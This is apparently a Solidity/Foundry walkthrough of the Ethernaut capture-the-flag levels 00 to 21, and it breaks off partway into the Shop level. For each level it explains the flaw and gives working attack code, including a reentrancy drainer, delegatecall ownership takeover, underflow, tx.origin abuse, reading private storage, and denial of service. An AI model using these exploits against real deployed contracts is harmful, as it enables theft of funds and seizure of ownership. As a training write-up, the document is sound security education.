- 00 Hello
- 01 Fallback
- 01 Fallout
- 03 CoinFlip
- 04 Telephone
- 05 Token
- 06 Delegation
- 07 Force
- 08 Vault
- 09 King
- 10 Reenstrance
- 11 Elevator
- 12 Privacy
- 13 Gatekeeper One
- 14 Gatekepper Two
- 15 Naught Coin
- 16 Preservation
- 17 Recovery
- 18 Magic Number
- 19 Alien Codex
- 20 Denial
- 21 Shop
- 22 Dex
- 23 Dex Two
- 24 Puzzle Wallet
- 25 Motor Bike
- 26 Double Entry Point
- 27 Good Samaritan
- 28 Gatekeeper Three
- 29 Switch
- 30 Higher Order
- 31 Stake
- 32 Impersonator
- 33 Magical Animal Carousel
Just read the factory contract
return address(new Instance('ethernaut0'));
And call the function
function testExploit1() public {
// password can be observed from the factory contract
challenge.authenticate("ethernaut0");
utils.submitLevelInstance(challengeAddress);
}
Now, if we don't have the factory file at hand, which contains the password, we could read from the blockchain the Hello
contract creation transaction and extract the string. Alternatively, we can just read the Hello
contract storage at the slot 0, obtaining the value.
To simplify things (we can always check the lowest bit), assume we know beforehand the string is at most 31 bytes long. Since the first slot (0
) is giving us the value 0x65746865726e6175743000000000000000000000000000000000000000000014
, we can conclude the string is length 10
bytes (0x14
= 20
= 2 * 20 bytes
), and the string is 0x65746865726e61757430
. Take it to CyberChef to verify is ethernaut0
:
https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')&input=MHg2NTc0Njg2NTcyNmU2MTc1NzQzMA
Then we know we have to read the first 10 bytes from the slot 0
and convert it to a string in order to use it as a variable.
// alternate solution: you can't read the factory.
// you can always read the blockchain though
function testExploit() public {
// get the contents of the slot 0 from the challenge address,
// assuming that this is a string with less than 32 bytes,
// in that case, length the lowest-order byte stores the value length * 2.
bytes32 slot0 = vm.load(challengeAddress, bytes32(uint256(0)));
uint8 len = uint8(slot0[31]) / 2;
bytes memory password = new bytes(len);
for (uint8 i = 0; i < len; i++) {
password[i] = slot0[i];
}
// test the found password in the contract
challenge.authenticate(string(password));
utils.submitLevelInstance(challengeAddress);
}
In particular: if the data is at most 31 bytes long, the elements are stored in the higher-order bytes (left aligned) and the lowest-order byte stores the value length * 2. For byte arrays that store data which is 32 or more bytes long, the main slot p stores length * 2 + 1 and the data is stored as usual in
keccak256(p)
. This means that you can distinguish a short array from a long array by checking if the lowest bit is set: short (not set) and long (set).
- https://betterprogramming.pub/all-about-solidity-data-locations-part-i-storage-e50604bfc1ad
- Long, comprehensive article
- https://www.adrianhetman.com/unboxing-evm-storage/
- Matter of fact article
- https://blog.openzeppelin.com/ethereum-in-depth-part-2-6339cf6bddb9/
- See
Storage
section. Includes assembly.
- See
To beat this level, we need to comply with
instance.owner() == _player && address(instance).balance == 0;
Notice that the receive()
function can make msg.sender
the owner of the contract
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
Alas, we need to add some money to contributions
:
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
So, to solve this level:
- First, we call
contribute()
with one wei. - Then we
call()
the contract with another wei (msg.value > 0
control). - After that we are the owner of the contract and can
withdraw()
the funds. - Now, notice that in our test we are invoking the level from a contract (as opposed from an EOA), so we need to include a
receive()
function ourselves.
// make this true
// contributions[msg.sender] > 0
challenge.contribute{value: 1 wei}();
// trigger code in receive()
(bool success,) = address(challengeAddress).call{value: 1 wei}("");
// See the comment in receive() below
challenge.withdraw();
// we need a receive function, since we are receiving
// the funds here and this is not an EOA
receive() external payable {}
A review on receive()
and fallback()
functions
send Ether
|
msg.data is empty?
/ \
yes no
/ \
receive() exists? fallback()
/ \
yes no
/ \
receive() fallback()
Review, why is not recommended to use the transfer()
function
The transfer() function in Solidity is used to send ether (the cryptocurrency used on the Ethereum network) from one address to another. This function was originally introduced as a simple way to transfer ether and was widely used in smart contracts.
However, the transfer() function has a limitation that can cause problems in some situations. The function limits the amount of gas used to send the transaction to 2300 gas. If the receiving contract requires more than 2300 gas to process the transaction, the transfer will fail and the ether will be returned to the sender.
This can lead to unexpected behavior and security issues, as it can allow attackers to cause denial-of-service attacks by creating contracts that require more than 2300 gas to process a transfer. For this reason, the use of transfer() is no longer recommended for sending large amounts of ether or for interacting with complex contracts.
Instead, the recommended approach is to use the send() or call() functions, which allow for more fine-grained control over the gas limit and provide more robust error handling. Additionally, newer Solidity versions have introduced the payable modifier for functions, which makes it easier to handle incoming ether payments.
Other links for further reading
- https://docs.soliditylang.org/en/v0.8.18/contracts.html#receive-ether-function
- https://docs.soliditylang.org/en/v0.8.18/contracts.html#fallback-function
- https://solidity-by-example.org/fallback/
- https://solidity-by-example.org/sending-ether/
To beat this level, we need to comply with
instance.owner() == _player;
We see that the only code where the owner is assigned is
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
Some thoughts here, first from the 0.8.18 solidity documentation
Prior to version 0.4.22, constructors were defined as functions with the same name as the contract. This syntax was deprecated and is not allowed anymore in version 0.5.0.
That means that the constructor function has to be named constructor()
.
Also, notice that the name of the function is Fal1out
, which differs in the 4th character with the name of the contract Fallout
.
So, we can just assign owner
by just invoking the function.
challenge.Fal1out();
To beat this level, we need to comply with
instance.consecutiveWins() >= 10;
That is, we need to win the game 10 or more times.
First of all, there is a control that prevents you to do all the coin guesses in the same block
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
Now, the game works by taking the blockhash, divide it by a FACTOR
(which is 2**255
) and compare it with one. As the blockhash space is [0, 2**256 - 1
], there is a 50% chance of getting a 0
or a 1
.
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
All we have to do, then, is performing the calculation ourselves to guess the right value.
Notice that we need to move to the next block on each iteration. To that end, we leverage the forge cheatcode vm.roll()
.
function attack(Vm vm) public {
// we need to be right 10 times in order to beat the level.
for (uint i = 0; i < 10; i++) {
// compute our "guess" in advance.
blockValue = uint256(blockhash(block.number - 1));
coinFlip = blockValue / FACTOR;
side = coinFlip == 1 ? true : false;
// we flip and give our "guess".
coinFlipContract.flip(side);
// let's move to the next block.
vm.roll(block.number + 1);
}
}
To beat this level, we need to comply with
instance.owner() == _player;
From the solidity documentation
msg.sender
(address): sender of the message (current call)tx.origin
(address): sender of the transaction (full call chain)
We write this attack contract that does the actual call to the level
contract TelephoneAttack {
ITelephone internal challenge;
constructor(address _challengeAddress) {
challenge = ITelephone(_challengeAddress);
}
function attack() public {
challenge.changeOwner(msg.sender);
}
}
As the function changeOwner()
in the level is
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
This means that the contract (or EOA) that calls attack()
will get the ownership of the contract _owner
parameter, provided we comply with tx.origin != msg.sender
. This condition is true as this is the call chain:
tx.origin -> msg.sender below -> ;
(Test EOA) -> TelephoneTest.testExploit() -> TelephoneAttack.attack() -> challenge.changeOwner(msg.sender);
In this case tx.origin
would be the EOA, msg.sender
inside the changeOwner()
function is the address of the TelephoneAttack
contract, and the _owner
is the TelephoneTest
contract.
The check at the factory will work as it is perform by the test contract.
- https://docs.soliditylang.org/en/v0.8.19/units-and-global-variables.html#block-and-transaction-properties
- https://docs.soliditylang.org/en/v0.8.19/security-considerations.html#tx-origin
- https://ethereum.stackexchange.com/a/1892
- https://hackernoon.com/hacking-solidity-contracts-using-txorigin-for-authorization-are-vulnerable-to-phishing
To beat this level, we need to comply with
token.balanceOf(_player) > playerSupply;
Notice the control at the transfer()
function
require(balances[msg.sender] - _value >= 0);
If we use the value 2**256 - 1
, then the difference will underflow, bypassing the condition:
challenge.transfer(msg.sender, 2**256 - 1);
- https://solidity-by-example.org/hacks/overflow/
- Notice that for
Solidity >= 0.8
, default behaviour of Solidity 0.8 for overflow / underflow is to throw an error.
- Notice that for
- https://hackernoon.com/hack-solidity-integer-overflow-and-underflow
To beat this level, we need to comply with
parity.owner() == _player;
So Delegation.fallback()
uses delegatecall()
.
From the solidity documentation:
There exists a special variant of a message call, named
delegatecall
which is identical to a message call apart from the fact that the code at the target address is executed in the context (i.e. at the address) of the calling contract andmsg.sender
andmsg.value
do not change their values.
The function delegatecall()
allows us to use code akin to using libraries in other languages.
Them, what happens here? If we manage to arrive to the fallback()
function of Delegation
:
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
Making sure that msg.data
contains the value abi.encodeWithSignature("pwn()")
...
... The function Delegate.pwn()
will be executed:
function pwn() public {
owner = msg.sender;
}
Now, since this is a delegate call:
-
msg.sender
will not be the address ofDelegation
, but the address of its caller, as the context of the calling contract does not change its value. -
the
owner
variable inDelegate
points to the slot0
of theDelegate
contract, this is relevant, we can see that the sloto
of theDelegation
contract is also itsowner
variable. Then the codeowner = msg.sender;
will change ownership inDelegation
.
The solution then is just
(bool success,) = challengeAddress.call(abi.encodeWithSignature("pwn()"));
success;
- https://docs.soliditylang.org/en/v0.8.19/introduction-to-smart-contracts.html#delegatecall-and-libraries
- https://solidity-by-example.org/delegatecall/
To beat this level, we need to comply with
address(instance).balance > 0
Right. This is the contract, BTW.
contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/}
Without a receive()
function, looks like we are in trouble.
Enter selfdestruct()
:
The only way to remove code from the blockchain is when a contract at that address performs the
selfdestruct
operation. The remaining Ether stored at that address is sent to a designated target and then the storage and code is removed from the state. Removing the contract in theory sounds like a good idea, but it is potentially dangerous, as if someone sends Ether to removed contracts, the Ether is forever lost.
So, what we want to do is creating some contract with value on it, and selfdestruct
it, making sure we give this level address as the destination of whatever funds it holds.
contract ForceAttack {
function byebye(address payable _dest) public {
selfdestruct(_dest);
}
receive() external payable {}
}
Then we create the first contract, giving it 1 wei
.
(bool success,) = address(attackerContract).call{value: 1 wei}("");
success;
And invoke the attack at ForceAttack.byebye()
attackerContract.byebye(payable(challengeAddress));
- https://docs.soliditylang.org/en/v0.8.18/contracts.html#receive-ether-function
- https://docs.soliditylang.org/en/v0.8.19/introduction-to-smart-contracts.html#deactivate-and-self-destruct
To beat this level, we need to comply with
!instance.locked();
The vault unlocks when the locked
variable is false.
In theory one has to know its password (which is a private variable in the contract) to beat the level...
bytes32 private password;
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
... But blockchain data is public! Being password
the second variable in the Vault
contract, it is assigned to the slot 1
. Then. to beat this level, we just read the slot to get the password, and use it to unlock the vault.
// as reading another's contract storage
// is not supported by solidity (i.e. It needs a forge "cheatcode"),
// imagine this attack being made from a forge script
bytes32 password = vm.load(challengeAddress, bytes32(uint256(1)));
// too lazy to write code for an interface? Just do the call
(bool success,) = challengeAddress.call(abi.encodeWithSignature("unlock(bytes32)", password));
success;
To beat this level, we need to comply with
instance._king() != address(this)
i.e. Take away the factory's kingship of the contract.
First, let's take a look at this receive()
function
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
The player can be king
if they send more ETH than the current prize, BUT, the owner
can be king anytime their want, and they exercise that right just before checking the level conditions:
(bool result,) = address(instance).call{value:0}("");
Also, and this is important, if the claimant passes the control of the first line, they have to transfer what they sent to the incumbent king
.
So, to beat this level, just send a msg.value
of ETH greater than the current price, and prevent any future claimant to fully execute the receive()
function by not being able to receive the incumbent king's prize.
contract KingAttacker {
// ... SNIP
function attack() external {
// will be able to be king, as msg.value = prize
// as the owner contract do have a receive() function,
// they will be able to get their price.
(bool result,) = challengeAddress.call{value: 0.001 ether}("");
result;
}
// this contract does not have a receive function,
// preventing the owner of the contract to take over kingship back.
}
To beat this level, we need to comply with
address(instance).balance == 0
Look at the guard of the withdraw()
function
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
The guard will let us pass if balances[msg.sender] >= _amount
, and then the function will call msg.sender
, giving it the amount
requested, balance will be updated.
In a reentrancy attack, we craft a receive()
function such that we call the very withdraw()
function again. That is
msg.sender
-> Reentrance.withdraw()
-> receive()
-> Reentrance.withdraw()
-> receive()
-> (and so on)
This flow will keep working, as the guard balances[msg.sender] >= _amount
is true
, draining the smart contract in the process.
An example on how the attack could be written is
function attack() external {
// first donate something to be able to pass the guard,
// that is balances[msg.sender] >= _amount
target.donate{value: 0.001 ether}(address(this));
// then trigger the withdraw function
// the latter will call receive() below.
target.withdraw(0.001 ether);
}
receive() external payable {
uint targetBalance = address(target).balance;
// this can be a clean way to drain the contract.
// you can also just set target.withdraw() and
// re-enter until it reverts.
if (targetBalance >= 0.001 ether) {
target.withdraw(0.001 ether);
}
}
- https://solidity-by-example.org/hacks/re-entrancy/
- https://hackernoon.com/hack-solidity-reentrancy-attack
- https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-02-reentrancy-b0c08cfcd555
To beat this level, we need to comply with
elevator.top();
The Elevator
contract has a boolean top
variable, which initializes to false
.
The top
variable is manipulated at the goTo()
function, which uses Building.isLastFloor
. Notice that Building
is an interface, so we have to implement our own contract, also that as Building building = Building(msg.sender);
in the goTo()
function, we have to call the latter from this contract.
The logic of the elevator has some points of interest
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
- If
isLastFloor
evaluates totrue
, we cannot enter the code block, meaning that we cannot get to modifytop
. - If
isLastFloor
evaluates tofalse
, then we enter the code block, buttop
becomesfalse
.
So, to beat this level, we want to write isLastFloor
such that the first time is called, it returns false
, then it returns true
.
bool flag;
// this function needs to answers false the first time,
// and then true the second one.
function isLastFloor(uint256) external returns (bool) {
if (flag) {
return true;
} else {
flag = true;
return false;
}
}
To beat this level, we need to comply with
instance.locked() == false;
When the level is created, some data is added:
data[0] = keccak256(abi.encodePacked(tx.origin,"0"));
data[1] = keccak256(abi.encodePacked(tx.origin,"1"));
data[2] = keccak256(abi.encodePacked(tx.origin,"2"));
Privacy instance = new Privacy(data);
To unlock the level, we must know the value of data[2]
.
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
Recall that the blockchain is public, see the solution of 08 Vault, we just use the cheat code vm.load()
, which wouldn't work on-chain, but would surely work within a forge script in a real world situation.
So far so good, but we want to know which slot to look at! See the contract
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(block.timestamp);
bytes32[3] private data;
A naive printing of all the slots give us
0x0000000000000000000000000000000000000000000000000000000000000001
0x0000000000000000000000000000000000000000000000000000000063d6fbd8
0x00000000000000000000000000000000000000000000000000000000fbd8ff0a
0x975099e616af13d803200fe3021618182d07cd86f4d97d964923f15b796cf4b0
0x2d48f4cbf31471c4a6df3f8b788f360df656dce2a0fed8c986cd3e4c22d621aa
0x1a3aac5aaec2ef75fc3b36881192322fb7c2a2a6cfa0ace1715ad96c8d6db624
We can see that the variables are stored in an optimized way, with,
- slot 0:
bool public locked
. - slot 1:
uint256 public ID
. The reason there are so maby zeroes is the assigning ofblock.timestamp
. - slot 2:
uint16 private awkwardness
,uint8 private denomination
,uint8 private flattening
. Pay attention at the order they are stored. - slot 3:
bytes32[3] private data
, element0
- slot 4:
bytes32[3] private data
, element1
- slot 5:
bytes32[3] private data
, element2
Since unlock()
needs data[2]
, we are looking at the slot 5:
// variables of this data array are at slots 3, 4, and 5
bytes16 key = bytes16(vm.load(challengeAddress, bytes32(uint256(5))));
To beat this level, we need to comply with
instance.entrant() == _player;
gateOne()
require(msg.sender != tx.origin);
is passed through by using a proxy contract
gateTwo()
require(gasleft() % 8191 == 0);
just brute force it, these tests are running in a fork
gateThree()
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
Use chisel
or your favorite REPL to check the operations on 0x1122334455667788
.
$ chisel
➜ _gateKey = 0x1122334455667788
➜ uint32(uint64(_gateKey))
Type: uint
├ Hex: 0x55667788
➜ uint16(uint64(_gateKey))
Type: uint
├ Hex: 0x7788
➜ uint64(_gateKey)
Type: uint
├ Hex: 0x1122334455667788
➜ uint16(uint160(0xabcd9a9e9aa1c9db991c7721a92d351db4fac990))
Type: uint
├ Hex: 0xc990
-
uint32(uint64(_gateKey)) == uint16(uint64(_gateKey))
- can be true with
0x1122334400007788
.
- can be true with
-
uint32(uint64(_gateKey)) != uint64(_gateKey)
- needs both to be different, which is true
-
uint32(uint64(_gateKey)) == uint16(uint160(tx.origin))
- make
7788
equal to the last hex digits of tx.origin - ex:
0x1122334400007788
=>0x112233440000ea72
- in fact, it can be 0x100000000000ea72,
- which makes it straighforward to get analytically.
- make
Putting all the elements together:
Proxy proxy = new Proxy(challengeAddress);
bytes8 key = bytes8(uint16(uint160(tx.origin)) + 0x1000000000000000);
// this loop is to brute-force the gateTwo
for (uint i = 27000; i > 0; i--) {
if (proxy.enter{gas: i}(key)) {
require(challengeFactory.validateInstance(payable(challengeAddress), tx.origin));
break;
}
}
- https://docs.soliditylang.org/en/v0.8.19/contracts.html#function-modifiers
- https://docs.soliditylang.org/en/v0.8.19/cheatsheet.html#global-variables
gasleft() returns (uint256)
: remaining gas
- https://github.com/foundry-rs/foundry/tree/master/chisel
To beat this level, we need to comply with
instance.entrant() == _player;
gateOne()
require(msg.sender != tx.origin);
is passed through by using a proxy contract
gateTwo()
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
extcodesize(caller())
retrieves the size of the call sender contract. See Yul EVM dialect.
As the Ethereum Yellow Paper
7.1. Subtleties. Note that while the initialisation code is executing, the newly created address exists but with no intrinsic body code.
and the foot note in that page
During initialization code execution, EXTCODESIZE on the address should return zero, which is the length of the code of the account while CODESIZE should return the length of the initialization code (as defined in H.2).
Meaning that extcodesize(caller())
will return 0
during the creation of the contract. In other words, we need to introduce our attack at the constructor of the contract we are using to attack the level.
gateThree()
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
This requires some algebra
// if Constant ^ key = 0xff
// then key = 0xff ^ constant
// notice that they are checking against msg.sender,
// so compute the key at the proxy
The code to produce the key
would be
bytes8 key = bytes8(keccak256(abi.encodePacked(address(this)))) ^ 0xffffffffffffffff;
where the Constant
above is bytes8(keccak256(abi.encodePacked(address(this))))
.
Putting everything together, then, we create an attack contract
contract Proxy {
constructor(address _challengeAddress) {
IGatekeeperTwo challenge = IGatekeeperTwo(_challengeAddress);
bytes8 key = bytes8(keccak256(abi.encodePacked(address(this)))) ^ 0xffffffffffffffff;
challenge.enter(key);
}
}
And we call it like this
// attack being performed at the construction of the contract
Proxy proxy = new Proxy(challengeAddress);
proxy;
- https://docs.soliditylang.org/en/v0.8.19/contracts.html#function-modifiers
- https://docs.soliditylang.org/en/v0.8.19/assembly.html
- https://docs.soliditylang.org/en/v0.8.19/yul.html#evm-dialect
- https://ethereum.github.io/yellowpaper/paper.pdf
- See "Contract Creation"
To beat this level, we need to comply with
instance.balanceOf(_player) == 0;
We see the writer of the NaughtCoin
contract inherits from ERC20
and overrides the transfer()
function
function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
super.transfer(_to, _value);
}
Now, the ERC20 interface have other functions, namely transferFrom()
, which has not been overriden, therefore we can avoid the lockTokens
modifier
uint256 balance = nc.balanceOf(address(this));
nc.approve(address(this), balance);
nc.transferFrom(address(this), tx.origin, balance);
- https://eips.ethereum.org/EIPS/eip-20#transferfrom
- https://docs.openzeppelin.com/contracts/4.x/erc20
- https://github.com/OpenZeppelin/openzeppelin-contracts/blob/f8e3c375d19bd12f54222109dd0801c0e0b60dd2/contracts/token/ERC20/IERC20.sol
- https://github.com/OpenZeppelin/openzeppelin-contracts/blob/f8e3c375d19bd12f54222109dd0801c0e0b60dd2/contracts/token/ERC20/ERC20.sol#L158-L163
To beat this level, we need to comply with
preservation.owner() == _player;
Look at the function setFirstTime()
.
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
What it does is leveraging the library in the address stored at the variable timeZone1Library
, and execute the call specified by the variables setTimeSignature
and _timeStamp
.
The contract is initialized and timeZone1Library
points at this contract
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint storedTime;
function setTime(uint _time) public {
storedTime = _time;
}
}
And setTimeSignature
is bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
What it happens then is, that we invoke setFirstTime
, as timeZone1Library
is an instance of LibraryContract
, what it will do is modify the first variable, or slot 0.
To solve this level, when we invoke setFirstTime
, we will give it an instance of a contract we craft, such that it will call setTime
and modify the third slot, as opposed to the first one. This is where the owner
variable is in the original contract.
Our attacking contract can be like this
contract PreservationAttack {
bytes32 internal slot0;
bytes32 internal slot1;
bytes32 internal owner; // slot3
address internal challengeAddress; // needed by us
constructor(address _challengeAddress) {
challengeAddress = _challengeAddress;
}
function setTime(uint256 _input) public {
owner = bytes32(_input);
}
}
Then the actual attack is
// switch timeZone1Library with our contract
data = uint256(uint160(address(attackContract)));
(success,) = challengeAddress.call(abi.encodeWithSignature("setFirstTime(uint256)", data));
success;
// invoke again, this time we'll go through our PreservationAttack contract
data = uint256(uint160(address(address(this))));
(success,) = challengeAddress.call(abi.encodeWithSignature("setFirstTime(uint256)", data));
success;
- https://docs.soliditylang.org/en/v0.8.19/introduction-to-smart-contracts.html#delegatecall-and-libraries
- https://solidity-by-example.org/delegatecall/
To beat this level, we need to comply with
address(lostAddress[_instance]).balance == 0;
We see that lostAddress[_instance]
was assigned at the factory with the value address(uint160(uint256(keccak256(abi.encodePacked(uint8(0xd6), uint8(0x94), recoveryInstance, uint8(0x01))))))
. What is this?
Looking at the Yellow Paper, "Contract Creation":
The address of the new account is defined as being the rightmost 160 bits of the Keccak-256 hash of the RLP encoding of the structure containing only the sender and the account nonce.
That is, in solidity language
address(uint160(uint256(keccak256(abi.encodePacked(uint8(0xd6), uint8(0x94), senderAddress, nonce)))))
The 0xd6
and 0x94
are part of RLP:
- As the
senderAddress
contains 20 bytes0x14
, then it will have a prefix of0x80
(string between 0-55 bytes) +0x14
(length of the string) =0x94
. - As this
senderAddress
goes in a structure with thenonce
(only one byte), we have 1 byte of the RLP prefix ofsenderAddress
. - The 20 bytes of
senderAddress
, and the 1 byte ofnone
. That is 1 + 20 + 1 = 22 bytes0x16
.- The prefix of this list is
0xc0
(list of 0-55 bytes) +0x16
=0xd6
.
- The prefix of this list is
This means that the factory assigned to lostAddress[address(recoveryInstance)]
the address of the created instance of SimpleToken
. As the factory is giving us the address of the instance of Recovery
, we can compute ourselves this address.
Now, notice that SimpleToken
has this function
// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
Since the problem asks us to make the balance of this instance 0
, we can beat the level by just invoking this function.
function testExploit() public {
address lostAddress = address(
uint160(
uint256(
keccak256(
abi.encodePacked(
uint8(0xd6), uint8(0x94), challengeAddress, uint8(0x01))))));
(bool success,) = lostAddress.call(abi.encodeWithSignature("destroy(address)", address(this)));
success;
- https://ethereum.github.io/yellowpaper/paper.pdf
- See "Contract Creation" section
- See "Appendix B: Recursive Length Prefix" (RLP)
- https://medium.com/coinmonks/data-structure-in-ethereum-episode-1-recursive-length-prefix-rlp-encoding-decoding-d1016832f919
To beat this level, we need to comply with
// Retrieve the instance.
MagicNum instance = MagicNum(_instance);
// Retrieve the solver from the instance.
Solver solver = Solver(instance.solver());
// Query the solver for the magic number.
bytes32 magic = solver.whatIsTheMeaningOfLife();
if(magic != 0x000000000000000000000000000000000000000000000000000000000000002a) return false;
// Require the solver to have at most 10 opcodes.
uint256 size;
assembly {
size := extcodesize(solver)
}
if(size > 10) return false;
In other words, create a contract with 10 opcodes, able to return to you the number 42.
Crafting opcodes is an art. Here is an excellent writeup explaining what to do to beat this level. We will try and summarize the steps in here.
- First, a user or contract sends a transaction to the Ethereum network.
- During contract creation, the EVM only executes the
initialization code
. - After this initialization code is run, only the runtime code remains on the stack.
- Finally, the EVM stores this returned, surplus code in the state storage, in association with the new contract address.
To beat this level, two sets of codes are needed: Initialization opcodes, and Runtime opcodes.
You want the contract to return 0x42, regardless of what function is called.
Before you can return a value, first you have to store it in memory.
We arbitrarily choose the memory position 0x80
602a // v: push1 0x2a (value is 0x2a)
6080 // p: push1 0x80 (memory slot is 0x80)
52 // mstore
6020 // s: push1 0x20 (value is 32 bytes in size)
6080 // p: push1 0x80 (value was stored in slot 0x80)
f3 // return
The resulting runtime opcodes are 602a60805260206080f3
: Ten bytes.
Now we want to add the constructor()
code, also called Initialization opcodes
.
codecopy
needs three arguments: s
, f
, and t
. s
is 10 bytes (see above), To know f
, we need to know how many bytes we are using at this initialization, and we choose t
arbitrarily to be at 0x00
.
Then, we return the in-memory runtime opcodes to the EVM.
600a // s: push1 0x0a (10 bytes)
60?? // f: push1 0x?? (current position of runtime opcodes)
6000 // t: push1 0x00 (destination memory index 0)
39 // CODECOPY
600a // s: push1 0x0a (runtime opcode length)
6000 // p: push1 0x00 (access memory index 0)
f3 // return to EVM
As this routine uses 12 bytes, we replace ??
by 0x0c
. So we have 600a600c600039600a6000f3
.
The byte sequence then is 0x600a600c600039600a6000f3602a60805260206080f3
Use some assembly here to create the contract
bytes memory bytecode = hex"600a600c600039600a6000f3602a60005260206000f3";
bytes32 salt = 0;
address solverAddress;
assembly {
solverAddress := create2(0, add(bytecode, 0x20), mload(bytecode), salt)
}
Invoke the function afterwards to set the contract
challenge.setSolver(solverAddress);
- https://medium.com/coinmonks/ethernaut-lvl-19-magicnumber-walkthrough-how-to-deploy-contracts-using-raw-assembly-opcodes-c50edb0f71a2
- https://medium.com/@blockchain101/solidity-bytecode-and-opcode-basics-672e9b1a88c2
- https://blog.openzeppelin.com/deconstructing-a-solidity-contract-part-i-introduction-832efd2d7737/
- https://docs.soliditylang.org/en/v0.8.19/assembly.html
- https://docs.soliditylang.org/en/v0.8.19/yul.html#evm-dialect
To beat this level, we need to comply with
instance.owner() ==_player
An Ownable
contract has as first variable address private _owner
, which is the slot 0. Can we modify it?
Notice that the contract has a variable bool public contact
, and another bytes32[] public codex
. Since owner
is an address
, it will share the slot 0 with contact
, then the slot 1
corresponds tocodex
.
Assume the storage location of the mapping or array ends up being a slot
p
after applying the storage layout rules. For dynamic arrays, this slot stores the number of elements in the array.
Array data is located starting at keccak256(p) and it is laid out in the same way as statically-sized array data would: One element after the other, potentially sharing storage slots if the elements are not longer than 16 bytes.
Then, slot 1
will store the length of codex
, with slot keccak(1)
its first element, slot keccak(1) + 1
its second, and so on.
Look at the function revise()
function revise(uint i, bytes32 _content) contacted public {
codex[i] = _content;
}
As an element i
in the codex
array is stored at keccak(1) + i
, one would say "Why I don't just offset from keccak256(1)
until reaching the slot 0?". We cannot, as the EVM will check for the length of the array stored at slot 1.
But, there is this retract()
function in the contract
function retract() contacted public {
codex.length--;
}
This function can be invoked, and will underflow the variable at slot 1, tricking the EVM into believing that the array has MAX_UINT256
elements. From there we can point to any slot we want.
We need to determine the offset then, let's solve the equation
0x00 = offset + keccak256(1) // reorganize
offset = 0x00 - keccak256(1) // But 0x00 = MAX_UINT256 + 1
offset = MAX_UINT256 + 1 - keccak256(1) // But MAX_UINT256 - x = MAX_UINT256 ^ x
offset = ( MAX_UINT256 ^ keccak256(1) ) + 1
// all the other functions have a modifier
// requiring you to invoke this one first
challenge.make_contact();
// this function will underflow the length of the dynamic array at slot1 to 0xff...ff
// meaning that now the EVM thinks that we have 2**256 - 1 elements there.
// this way we don't revert on an out of bonds condition.
challenge.retract();
// now we need our trick to write into slot0 (0x00...00)
// - here is where the first element of codex should be stored
bytes32 firstElementSlot = keccak256(abi.encodePacked(uint(1)));
// 0x00 = offset + keccak256(1) // reorganize
// offset = 0x00 - keccak256(1) // But 0x00 = MAX_UINT256 + 1
// offset = MAX_UINT256 + 1 - keccak256(1) // But MAX_UINT256 - x = MAX_UINT256 ^ x
// offset = ( MAX_UINT256 ^ keccak256(1) ) + 1
uint256 offset = uint256(bytes32(MAX_UINT256) ^ firstElementSlot) + 1;
// write!
challenge.revise(offset, bytes32(uint256(uint160(address(this)))));
- https://docs.openzeppelin.com/contracts/2.x/access-control
- https://github.com/OpenZeppelin/openzeppelin-contracts/blob/1c8df659b98177b737fd8af411b30bf24c1cbef1/contracts/access/Ownable.sol#L21
- https://docs.soliditylang.org/en/v0.8.18/internals/layout_in_storage.html#mappings-and-dynamic-arrays
- https://solidity-by-example.org/hacks/overflow/
To beat this level, we need to comply with
if (address(instance).balance <= 100 wei) { // cheating otherwise
return false;
}
// fix the gas limit for this call
(bool result,) = address(instance).call{gas:1000000}(abi.encodeWithSignature("withdraw()")); // Must revert
return !result;
In other words, we got to prevent the instance to have their funds withdrawn by making the function revert, but we can't just empty the level contract.
An infinite loop will just consume all the gas, reverting the transaction.
// infinite loop
// "EvmError: OutOfGas"
while (true) {}
When your attacking contract receives payment, call withdraw()
again
// reentrancy attack
// "EvmError: OutOfGas"
challenge.withdraw();
Just issue an invalid opcode to revert
// invalid opcode
// "EvmError: InvalidOpcode"
assembly { invalid() }
assert(false)
will consume all the remaining gas in the transaction.
For some reason is not working in Solidity 0.8.18, though. See here for some insights/
// consume all the gas with an assert(false)
// for some reason is not working in solidity > 0.8.5
// see this link
// https://ethereum.stackexchange.com/a/113362
assert(false);
- https://docs.soliditylang.org/en/v0.8.17/control-structures.html#error-handling-assert-require-revert-and-exceptions
- https://ethereum.stackexchange.com/a/113362
To beat this level, we need to comply with
_shop.price() < 100
There's a buy()
function
function buy() public {
